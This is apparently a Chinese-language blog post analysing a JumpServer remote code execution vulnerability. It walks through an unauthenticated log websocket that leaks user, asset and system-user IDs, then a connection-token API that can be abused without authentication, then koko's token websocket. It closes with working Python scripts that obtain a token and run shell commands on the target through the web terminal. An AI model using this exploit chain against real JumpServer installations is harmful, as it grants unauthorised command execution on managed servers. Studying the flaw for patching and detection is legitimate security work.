jumpserver远程代码执行漏洞分析
一、获取Token
首先是找到那个修改bug 的点
https://github.com/jumpserver/jumpserver/commits/master
然后对比一下代码。
https://githistory.xyz/jumpserver/jumpserver/blob/db6f7f66b2e5e557081cb561029f64af0a1f80c4/apps/ops/ws.py
之前的代码是没有认证的。那么先找到这个路由 。源代码如下:https://www.o2oxy.cn/wp-content/uploads/2021/01/aa.zip
一:找到路由的使用方式
全局搜索CeleryLogWebsocket 这个函数。然后得到如下的websocket 的路由
尝试连接此路由 未授权连结websocket 可以连接成功。
看看这个函数具体的处理过程
import time import os import threading import json from common.utils import get_logger from .celery.utils import get_celery_task_log_path from channels.generic.websocket import JsonWebsocketConsumer logger = get_logger(__name__) class CeleryLogWebsocket(JsonWebsocketConsumer): disconnected = False def connect(self): self.accept() def wait_util_log_path_exist(self, task_id): log_path = get_celery_task_log_path(task_id) while not self.disconnected: if not os.path.exists(log_path): self.send_json({'message': '.', 'task': task_id}) time.sleep(0.5) continue self.send_json({'message': '\r\n'}) try: logger.debug('Task log path: {}'.format(log_path)) task_log_f = open(log_path, 'rb') return task_log_f except OSError: return None def read_log_file(self, task_id): task_log_f = self.wait_util_log_path_exist(task_id) if not task_log_f: logger.debug('Task log file is None: {}'.format(task_id)) return task_end_mark = [] while not self.disconnected: data = task_log_f.read(4096) if data: data = data.replace(b'\n', b'\r\n') self.send_json( {'message': data.decode(errors='ignore'), 'task': task_id} ) if data.find(b'succeeded in') != -1: task_end_mark.append(1) if data.find(bytes(task_id, 'utf8')) != -1: task_end_mark.append(1) elif len(task_end_mark) == 2: logger.debug('Task log end: {}'.format(task_id)) break time.sleep(0.2) task_log_f.close() def handle_task(self, task_id): logger.info("Task id: {}".format(task_id)) thread = threading.Thread(target=self.read_log_file, args=(task_id,)) thread.start() def disconnect(self, close_code): self.disconnected = True self.close()
这里是只能获取log 后缀的一个文件。
然后就通过传递task 参数传递一个文件名就可以获取到log文件的内容如下:
再查看jumpserver.log 中 存在system_user user 和asset的信息。这些信息。
{'user': '4320ce47-e0e0-4b86-adb1-675ca611ea0c', 'username': 'test2', 'asset': 'ccb9c6d7-6221-445e-9fcc-b30c95162825', 'hostname': '192.168.1.73', 'system_user': '79655e4e-1741-46af-a793-fff394540a52'}
正好是apps/authentication/api/auth.py 认证系统所需要的值。
代码如下:
# -*- coding: utf-8 -*- # import uuid from django.core.cache import cache from django.shortcuts import get_object_or_404 from rest_framework.permissions import AllowAny from rest_framework.response import Response from rest_framework.views import APIView from common.utils import get_logger from common.permissions import IsOrgAdminOrAppUser from orgs.mixins.api import RootOrgViewMixin from users.models import User from assets.models import Asset, SystemUser logger = get_logger(__name__) __all__ = [ 'UserConnectionTokenApi', ] class UserConnectionTokenApi(RootOrgViewMixin, APIView): permission_classes = (IsOrgAdminOrAppUser,) def post(self, request): user_id = request.data.get('user', '') asset_id = request.data.get('asset', '') system_user_id = request.data.get('system_user', '') token = str(uuid.uuid4()) user = get_object_or_404(User, id=user_id) asset = get_object_or_404(Asset, id=asset_id) system_user = get_object_or_404(SystemUser, id=system_user_id) value = { 'user': user_id, 'username': user.username, 'asset': asset_id, 'hostname': asset.hostname, 'system_user': system_user_id, 'system_user_name': system_user.name } cache.set(token, value, timeout=20) return Response({"token": token}, status=201) def get(self, request): token = request.query_params.get('token') user_only = request.query_params.get('user-only', None) value = cache.get(token, None) if not value: return Response('', status=404) if not user_only: return Response(value) else: return Response({'user': value['user']}) def get_permissions(self): if self.request.query_params.get('user-only', None): self.permission_classes = (AllowAny,) return super().get_permissions()
首先找到这个函数的路由【】
找到users 路由中的一条路由。
拼接一下整体的路由如下:
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/
那么先查看一下他的代码逻辑
GET 需要user-only 参数
post 需要三个参数:user asset system_user
然后返回一个20S 的一个token
def post(self, request): user_id = request.data.get('user', '') asset_id = request.data.get('asset', '') system_user_id = request.data.get('system_user', '') token = str(uuid.uuid4()) user = get_object_or_404(User, id=user_id) asset = get_object_or_404(Asset, id=asset_id) system_user = get_object_or_404(SystemUser, id=system_user_id) value = { 'user': user_id, 'username': user.username, 'asset': asset_id, 'hostname': asset.hostname, 'system_user': system_user_id, 'system_user_name': system_user.name } cache.set(token, value, timeout=20) return Response({"token": token}, status=201)
写了一个获取token脚本如下: 这三个值是从log 中获取的
import requests import json data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"} url_host='http://192.168.1.73:8080' def get_token(): url = url_host+'/api/v1/users/connection-token/?user-only=1' response = requests.post(url, json=data).json() print(response) return response['token'] get_token()
20S 真男人。
二、代码执行。
一直翻看core 的代码。始终找不到web 终端的代码。有点迷。最后还是靠着360安全忍者师傅的代码弄清楚了真相。
web 终端的代码执行是通过中间件的形式转发给后端koko 的。所以一直找不到koko 的代码在哪里
后端代码如下:
https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go
跟中一下processTokenWebsocket 函数
func (s *server) processTokenWebsocket(ctx *gin.Context) { tokenId, _ := ctx.GetQuery("target_id") tokenUser := service.GetTokenAsset(tokenId) if tokenUser.UserID == "" { logger.Errorf("Token is invalid: %s", tokenId) ctx.AbortWithStatus(http.StatusBadRequest) return } currentUser := service.GetUserDetail(tokenUser.UserID) if currentUser == nil { logger.Errorf("Token userID is invalid: %s", tokenUser.UserID) ctx.AbortWithStatus(http.StatusBadRequest) return } targetType := TargetTypeAsset targetId := strings.ToLower(tokenUser.AssetID) systemUserId := tokenUser.SystemUserID s.runTTY(ctx, currentUser, targetType, targetId, systemUserId) }
跟踪一下GetTokenAsset
func GetTokenAsset(token string) (tokenUser model.TokenUser) { Url := fmt.Sprintf(TokenAssetURL, token) _, err := authClient.Get(Url, &tokenUser) if err != nil { logger.Error("Get Token Asset info failed: ", err) } return }
发现也没有做任何的身份认证。尝试连接一下
发现是可以连接。参数构造的话。返回到koko 中。看看登陆到执行一个whoami 看看websocket 怎么发包的
首先是ID +data 进行登陆。
然后是发送命令
尝试在客户端发送试试
发现有点慢。改成python 连接一下。
改一下输出格式
import asyncio import websockets import requests import json # 向服务器端发送认证后的消息 async def send_msg(websocket,_text): if _text == "exit": print(f'you have enter "exit", goodbye') await websocket.close(reason="user exit") return False await websocket.send(_text) recv_text = await websocket.recv() #print(f"{recv_text}") #recv_text=json.loads(recv_text) # print(recv_text['data']) async def main_logic(cmd): print("#######start ws") async with websockets.connect(target) as websocket: recv_text = await websocket.recv() print(f"{recv_text}") resws=json.loads(recv_text) id = resws['id'] print("get ws id:"+id) print("###############") print("init ws") print("###############") inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"}) await send_msg(websocket,inittext) for i in range(20): recv_text = await websocket.recv() #recv_text=json.loads(recv_text) # print(f"{recv_text['data']}") print("###############") print("exec cmd: %s"%cmd) cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"}) print(cmdtext) await send_msg(websocket, cmdtext) for i in range(20): recv_text = await websocket.recv() recv_text=json.loads(recv_text) print(recv_text['data']) print('#######finish') url = "/api/v1/authentication/connection-token/?user-only=None" host="http://192.168.1.73:8080" cmd="ifconfig" if host[-1]=='/': host=host[:-1] print(host) data = {"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c", "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825", "system_user": "79655e4e-1741-46af-a793-fff394540a52"} print("##################") print("get token url:%s" % (host + url,)) print("##################") res = requests.post(host + url, json=data) token = res.json()["token"] print("token:%s", (token,)) print("##################") target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token print("target ws:%s" % (target,)) asyncio.get_event_loop().run_until_complete(main_logic(cmd))